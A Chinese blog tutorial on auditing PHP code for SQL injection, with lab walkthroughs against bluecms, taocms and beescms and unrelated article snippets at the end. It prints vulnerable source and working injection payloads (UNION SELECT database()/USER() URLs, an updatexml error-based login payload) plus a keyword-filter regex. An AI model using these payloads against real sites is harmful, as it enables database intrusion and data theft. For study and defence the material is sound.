php之sql代码审计

news2024/11/13 12:41:39

1 SQL注入代码审计流程

1.1 反向查找流程

通过可控变量(输入点)回溯危险函数 查找危险函数确定可控变量 传递的过程中触发漏洞

1.2 反向查找流程特点

暴力:全局搜索危险函数 简单:无需过多理解目标网站功能与架构 快速:适用于自动化代码审计工具 命中率低:简单的漏洞越来越少 适应性较差:不适合存在全局过滤的站点 无法挖掘逻辑漏洞:逻辑漏洞多数不存在危险函数

1.3 正向查找流程

从入口函数出发 找到控制器,理解URL派发规则 跟踪控制器调用,以理解代码为目标进行源码阅读 阅读代码的过程中,可能发现漏洞

1.4 正向漏洞挖掘特点

复杂:需要了解目标源码的功能与架构 跳跃性大:涉及M/V/C 等多个层面 漏洞的组合:通常是多个漏洞的组合,很可能存在逻辑相关的漏洞 潜力无限:安全研究人员的宝库

1.5 双向查找流程

略读代码,了解架构 是否有全局过滤机制 找到了漏洞点,漏洞利用是否有坑

2 PHP和MySQL连接方式

2.1.传统方法:mysql_connect(已废弃)

在PHP 5.5.0版本之前,开发者经常使用mysql_connect函数来连接MySQL数据库。然而,从PHP 5.5.0开始,这个扩展已经被废弃,并在PHP 7.0.0中完全移除。尽管如此,了解其工作方式对于理解后续的方法仍然是有帮助的。

$con = mysql_connect("localhost", "username", "password");  
if (!$con) {  
    die("Could not connect: " . mysql_error());  
}  
  
mysql_select_db("my_db", $con);  
  
// 执行查询等操作  
// ...  
  
mysql_close($con);

注意:上述代码示例只是为了演示传统方法的工作原理,并不推荐在实际项目中使用。

2.2 mysqli扩展(面向对象)

mysqli扩展提供了与MySQL数据库的改进和增强连接功能。它是mysql扩展的替代品,并提供了更多的功能和更好的性能。

// 面向对象方式  
$mysqli = new mysqli("localhost", "username", "password", "my_db");  
  
if ($mysqli->connect_errno) {  
    echo "Connect failed: " . $mysqli->connect_error;  
    exit();  
}  
  
// 执行查询等操作  
// ...  
  
$mysqli->close();

2.3 PDO(PHP Data Objects)

PDO是PHP数据对象扩展,提供了一个统一的数据访问层,可用于连接不同的数据库系统。与mysqli相比,PDO提供了更广泛的数据库支持和更多的功能。

try {  
    $pdo = new PDO("mysql:host=localhost;dbname=my_db", "username", "password");  
    // 设置 PDO 错误模式为异常  
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  
  
    // 执行查询等操作  
    // ...  
  
    $pdo = null; // 关闭连接  
} catch (PDOException $e) {  
    echo "Connection failed: " . $e->getMessage();  
}

2.4 SQL注入漏洞常见过滤方法

intval / addslashes / mysql_real_escape mysqli_escape_string / mysqli_real_escape_string PDO::quote

3 SQL代码审计案例

3.1 bluecms靶场

3.1.1 bluecms靶场搭建

1.下载安装包

到GitHub上搜索bluecms:GitHub - source-trace/bluecms

2.在www文件中解压文件并并名为bluecms

3.开始bluecms环境搭建

游览器访问

http://127.0.0.1/bluecms/install/index.php

点击继续

配置数据库以及管理员账号

然后这个url:http://127.0.0.1/bluecms/出现页面表示安装成功

3.1.2 bluecms代码审计

1 使用seay软件进行代码审计

2.对ad_js.php代码分析

<?php  
/**  
 * [bluecms] 版权所有 标准网络,保留所有权利  
 * 这不是免费软件,使用需遵守许可条款  
 *  
 * $Id:ad_js.php  // 文件ID或标识符  
 * $author:lucks  // 作者  
 */  
  
// 定义一个常量,表示当前脚本在bluecms环境中运行  
define('IN_BLUE', true);  
  
// 引入公共函数库  
require_once dirname(__FILE__) . '/include/common.inc.php';  
  
// 从GET请求中获取ad_id参数,并进行清理(去除两端的空格)  
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';  
  
// 如果ad_id为空,则输出错误并退出  
if(empty($ad_id))  
{  
    echo 'Error!';  
    exit();  
}  
  
// 从数据库中查询指定ad_id的广告信息  
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);  
  
// 判断广告的时间设置  
if($ad['time_set'] == 0)  
{  
    // 如果time_set为0,表示广告没有时间设置,直接返回广告内容  
    $ad_content = $ad['content'];  
}  
else  
{  
    // 如果广告有时间设置  
    if($ad['end_time'] < time())  
    {  
        // 如果广告已过期(当前时间大于结束时间),返回过期内容  
        $ad_content = $ad['exp_content'];  
    }  
    else  
    {  
        // 如果广告未过期,返回正常内容  
        $ad_content = $ad['content'];  
    }  
}  
  
// 对广告内容进行转义,确保在JavaScript中安全使用  
$ad_content = str_replace('"', '\"',$ad_content); // 将双引号替换为转义后的双引号  
$ad_content = str_replace("\r", "\\r",$ad_content); // 将回车符替换为转义后的回车符  
$ad_content = str_replace("\n", "\\n",$ad_content); // 将换行符替换为转义后的换行符  
  
// 输出JavaScript注释和document.write来动态写入广告内容  
// 注释的作用是为了在JavaScript不执行时,这些内容不会作为HTML内容显示在页面上  
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";  
  
?>

代码分析:

  1. 从GET请求中获取ad_id参数,并进行清理(去除两端的空格)。

  2. 但是没有ad_id进行安全检查。

3.进行sql注入尝试

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1%27

输入?ad_id=-1'发现报错并进行了转移

那就存在sql注入漏洞

现在就爆字段

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1 order by 7--+

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1 order by 8--+

爆出字段数为7

爆数据库

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1%20union%20select%201,2,3,4,5,6,database()

得到数据库为root

3.2 taocms靶场

3.2.1 taocms靶场搭建

1 在GitHub地址下载: Release taoCMS 3.0.2 · taogogo/taocms · GitHub

2 将文件解压到www文件下并命名为taocms

3 在游览器上进行安装

http://192.168.1.18/taocms/install.php

配置数据库信息

先新建一个taocms数据库


|127.0.0.1:3306|root|root|taocms

出现这个页面表示安装成功

3.2.2 taocms代码审计

1 对Datastore.php代码进行分析

<?php
// 定义数据存储类
class Datastore{
    public $table; // 表名
    public $db; // 数据库对象
    public $tpl; // 模板对象
    public $id; // ID

    // 构造函数,初始化对象属性
    function __construct($table,$id=0){
        $this->table=$table;
        $this->db=new Dbclass(SYS_ROOT.DB_NAME); // 创建数据库对象
        $this->tpl=new Template(); // 创建模板对象
        $this->id=$id;
    }

    // 显示表单
    function display(){
        include($this->tpl->myTpl('form'.$this->table));
    }

    // 创建备份文件
    function create(){
        header('Content-type: application/txt'); // 设置响应内容类型为文本文件
        header('Content-Disposition: attachment; filename="backup-'.date('Y-m-d').'.sql"'); // 设置响应头,触发文件下载
        $backups=''; // 初始化备份文件内容为空
        $bulist=explode('|',$_GET['bulist']); // 获取需要备份的表名列表
        foreach($bulist as $bus){
            $addsql=($bus=='cms'&&$_GET['from'])?' limit '.$_GET['from'].','.$_GET['to']:''; // 如果表名为cms且有起始和结束条件,则添加限制条件
            $sql='select * from '.TB.$bus.$addsql; // 构造查询语句
            $o=$this->db->query($sql); // 执行查询
            while($data=$this->db->fetch_array($o)){ // 遍历查询结果
                $colums='';
                $datas='';
                foreach($data as $key=>$v){
                    $colums.=$key.','; // 拼接列名
                    $datas.="'".Base::safeword($v)."',"; // 拼接数据,并进行安全处理
                }
                // 拼接替换语句,用于恢复数据
                $backups.= 'REPLACE INTO '.TB.$bus.' ('.substr($colums,0,-1).') VALUES('.substr($datas,0,-1).');'."\n";
            }
        }
        echo substr($backups,0,-2); // 输出备份文件内容,去掉最后的换行符
    }

    // 更新数据库数据
    function update(){
        $filedata=file_get_contents($_FILES['file']['tmp_name']); // 读取上传的备份文件内容
        $queryarray = explode(";\n",$filedata); // 按照分号和换行符分割SQL语句
        foreach ($queryarray as $k =>$v){
            $this->db->query($v) or Base::showmessage('恢复中出错','-1'); // 执行SQL语句,如果出错则显示错误信息
        }
        Base::execmsg("数据恢复成功",'?action=datastore&ctrl=display',TRUE); // 显示恢复成功信息并跳转
    }
}
?>

2 代码分析

create方法中,虽然使用了Base::safeword($v)对值进行了处理,但列名($key)并未进行任何处理。如果$key来自不可信的源(如用户输入),那么可能存在SQL注入的风险。此外,构造的SQL语句直接使用了$_GET['bulist']$_GET['from']/$_GET['to'],这些值也没有进行任何过滤或验证。

以及点击:生成全部备份文件的请求包

发现bulist后面全是表名

3 sql注入

/taocms/admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+UNION+SELECT+(USER()),2,3,4,5,6,7,8

3.3 beecms靶场

3.3.1 beescms靶场搭建

1 安装包下载

程序下载_BEESCMS_小程序源码_企业网站程序!

2 将文件解压到www文件并明命名为beescms文件

3 在游览器上进行安装

http://192.168.1.18/beescms/install/

点击:下一步:检查安装环境

点击下一步:配置系统

配置数据库以及开始安装

出现以下界面表示安装成功

3.3.2 更具cnvd审计beecms

1 cnvd搜索BEESCMS存在企业网站管理系统存在SQL注入漏洞并且与下载cms相同

2 更具漏洞描述以及后台登录的请求发现


确定代码的位置

3 根据代码过滤那些

查看fl_value里的代码

// 定义一个常量,可能是用于某种标识符或密钥  
define('INC_BEES','B'.'EE'.'SCMS');  
  
/**  
 * 过滤SQL注入关键字  
 *  
 * @param string $str 要过滤的字符串  
 * @return string|null 过滤后的字符串(如果输入为空则返回null)  
 */  
function fl_value($str){  
    if(empty($str)){  
        return; // 如果字符串为空,则返回null  
    }  
    // 过滤SQL注入相关的关键字和特殊字符  
    // 注意:该正则表达式可能不完整,且部分空格可能不是预期的  
    return preg_replace('/select|insert\s|update\s|and|in|on|left|join|delete|\%|[=]|\/\*|\*|\.\.\/|\.\/|union|from|where|group|into|load_file|outfile/i','',$str);  
}  
  
/**  
 * 对字符串进行HTML转义以防止XSS攻击  
 *  
 * @param string $str 要转义的字符串  
 * @return string 转义后的字符串  
 */  
function fl_html($str){  
    return htmlspecialchars($str);  
}

代码分析

  1. SQL 注入防护不完整fl_value 函数试图通过删除 SQL 关键字来防止 SQL 注入攻击,但是正则表达式存在问题,可能无法有效地防止攻击。

  2. XSS 防护fl_html 函数可以防止跨站脚本攻击,但是如果在其他地方没有正确使用这个函数,仍然可能存在 XSS 漏洞。

3 构建pyaload进行攻击爆出数据库

admin'and updatexml(1,concat(0x7e, select database(), 0x7e),1)#

数据库为beescms

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1696984.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue实现可拖拽移动悬浮球

封装悬浮球组件&#xff0c;文件名s-icons.vue <template><div ref"icons" class"icons-container" :style"{ left: left px, top: top px }"><slot></slot></div> </template> <script> export …

阿里云ubuntu 24 deb安装mysql5.7问题解决

阿里云最近有了ubuntu24&#xff0c;手欠直接选了24系统来试水&#xff0c;安装mysql这里遇到麻烦了 其它问题参考ubuntu22的即可&#xff0c;以下是3个新问题&#xff1a; 阿里云ubuntu 24 deb安装mysql5.7遇到的3个问题&#xff1a; 1&#xff09;libssl1.1 (&#xff1e; …

深度神经网络——什么是决策树?

决策树 决策树是一种强大的机器学习算法&#xff0c;它通过模拟人类决策过程来解决分类和回归问题。这种算法的核心在于它如何将数据集细分&#xff0c;直至每个子集足够“纯净”&#xff0c;即包含的实例都属于同一类别或具有相似的数值范围。 开始于根节点&#xff1a;决策…

分布式事务——9种解决方案的原理与分类

目录 一、概要1. 分布式事务的概念2. 分布式事务解决方案分类 二、常见的分布式事务解决方案1. 基础的 2PC&#xff08;二阶段提交&#xff09;1.1 核心思想1.2 简介1.3 主要特点1.3.1 优点1.3.2 缺点 2. 基础的 3PC&#xff08;三阶段提交&#xff09;2.1 核心思想2.2 简介2.3…

【MySQL索引】(重点)

文章目录 一、见见索引二、认识磁盘三、索引的学习1.建立共识2.重谈page3.单page和多page同样存在效率低下的问题单page的缺陷多page的缺陷 页目录单page多page B树为什么行&#xff01;详谈细节 其他数据结构为什么不行?聚簇索引和非聚簇索引 回表查询 四、索引的操作1.创建主…

简单好用的文本识别方法--付费的好用,免费的更有性价比

文章目录 先说付费的进入真题&#xff0c;免费的来喏&#xff01;PixPin微信 先说付费的 直达网址!!! 进入真题&#xff0c;免费的来喏&#xff01; PixPin 商店里就有 使用示例&#xff1a; 可以看到&#xff1a;贴在桌面上的图片可以复制图片中的文字&#xff0c;真的很…

详细分析ping的基本知识以及常见网络故障的诊断(图文解析)

目录 前言1. 基本知识2. 常见故障分析2.1 请求超时2.2 域名无法解析 前言 由于全栈开发&#xff0c;在运维过程中难免会出现无法ping通等故障 针对多种情况进行详细分析 1. 基本知识 为了更好的加深ping的基本命令以及拓展更多知识点&#xff0c;详细科普其基本知识 ping&…

算法与数据结构汇总

刷题建议步骤 求职硬通货&#xff1a;一&#xff0c;好的学历&#xff0c;这个要下血本。本科&#xff0c;可以考研&#xff0c;读研。专科&#xff0c;可以专升本&#xff0c;再考研&#xff0c;读研&#xff0c;二&#xff0c;软考&#xff0c;一年考两次&#xff0c;有些科…

【Flutter】AppBar、TabBar和TabBarView

&#x1f525; 本文由 程序喵正在路上 原创&#xff0c;CSDN首发&#xff01; &#x1f496; 系列专栏&#xff1a;Flutter学习 &#x1f320; 首发时间&#xff1a;2024年5月26日 &#x1f98b; 欢迎关注&#x1f5b1;点赞&#x1f44d;收藏&#x1f31f;留言&#x1f43e; 目…

到底该用英文括号还是中文括号?

这篇博客写的还挺详细的&#xff0c;不错。

最重要的时间表示,柯桥外贸俄语小班课

в第四格 1、与表示“钟点”的数词词组连用 例&#xff1a; в шесть часов утра 在早上六点 в пять тридцать 在五点半 2、与表示“星期”的名词连用 例&#xff1a; в пятницу 在周五 в следующий понедельник …

使用printf的两种方法,解决printf不能使用的问题

使用printf的两种方法&#xff0c;解决printf不能使用的问题 一、微库法 我们使用printf前要加上重定向fputc //重定义fputc函数 int fputc(int ch, FILE *f) { while((USART1->SR&0X40)0);//循环发送,直到发送完毕 USART1->DR (uint8_t) ch; return…

数字图像处理冈塞雷斯第四版课后习题答案【英文原版】

第二章 第三章 . 第四章 傅里叶变换是一个线性过程&#xff0c;而计算梯度的平方根和平方根则是非线性运算。傅里叶变换可以用来计算微分的差值(如问题4.50)&#xff0c;但必须在空间域中直接计算平方和平方根值。 (a)实际上&#xff0c;由于高通操作&#xff0c;环有一个暗中心…

LabelMe下载及关键点检测数据标注

本文关键点数据集链接,提取码:x1pk 1.LabelMe下载 这部分内容和YOLOv8_seg的标注软件是一样的,使用anaconda创建虚拟环境安装LabelMe,指令如下: conda create -n labelme python=3.6 -y conda activate labelme conda install pyqt conda install pillow pip install la…

Java进阶学习笔记23——API概述

API&#xff1a; API&#xff08;Application Programming Interface&#xff09;应用程序编程接口 就是Java帮我们写好了一些程序&#xff1a;如类、方法等等&#xff0c;我们直接拿过来用就可以解决一些问题。 为什么要学别人写好的程序&#xff1f; 不要重复造轮子。开发…

【Spring Boot】分层开发 Web 应用程序(含实例)

分层开发 Web 应用程序 1.应用程序分层开发模式&#xff1a;MVC1.1 了解 MVC 模式1.2 MVC 和三层架构的关系 2.视图技术 Thymeleaf3.使用控制器3.1 常用注解3.1.1 Controller3.1.2 RestController3.1.3 RequestMapping3.1.4 PathVariable 3.2 将 URL 映射到方法3.3 在方法中使用…

【JVM实践与应用】

JVM实践与应用 1.类加载器(加载、连接、初始化)1.1 类加载要完成的功能1.2 加载类的方式1.3 类加载器1.4 双亲委派模型1.5自定义ClassLoader1.6 破坏双亲委派模型2.1 类连接主要验证内容2.2 类连接中的解析2.3 类的初始化3.1 类的初始化时机3.2 类的初始化机制和顺序3.2 类的卸…

电子电器架构 - AUTOSAR软件架构Current Features in a Nutshell

电子电器架构 - AUTOSAR软件架构Current Features in a Nutshell 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的…

数据清洗操作及众所周知【数据分析】

各位大佬好 &#xff0c;这里是阿川的博客 &#xff0c; 祝您变得更强 个人主页&#xff1a;在线OJ的阿川 大佬的支持和鼓励&#xff0c;将是我成长路上最大的动力 阿川水平有限&#xff0c;如有错误&#xff0c;欢迎大佬指正 前面的博客 数据分析—技术栈和开发环境搭建 …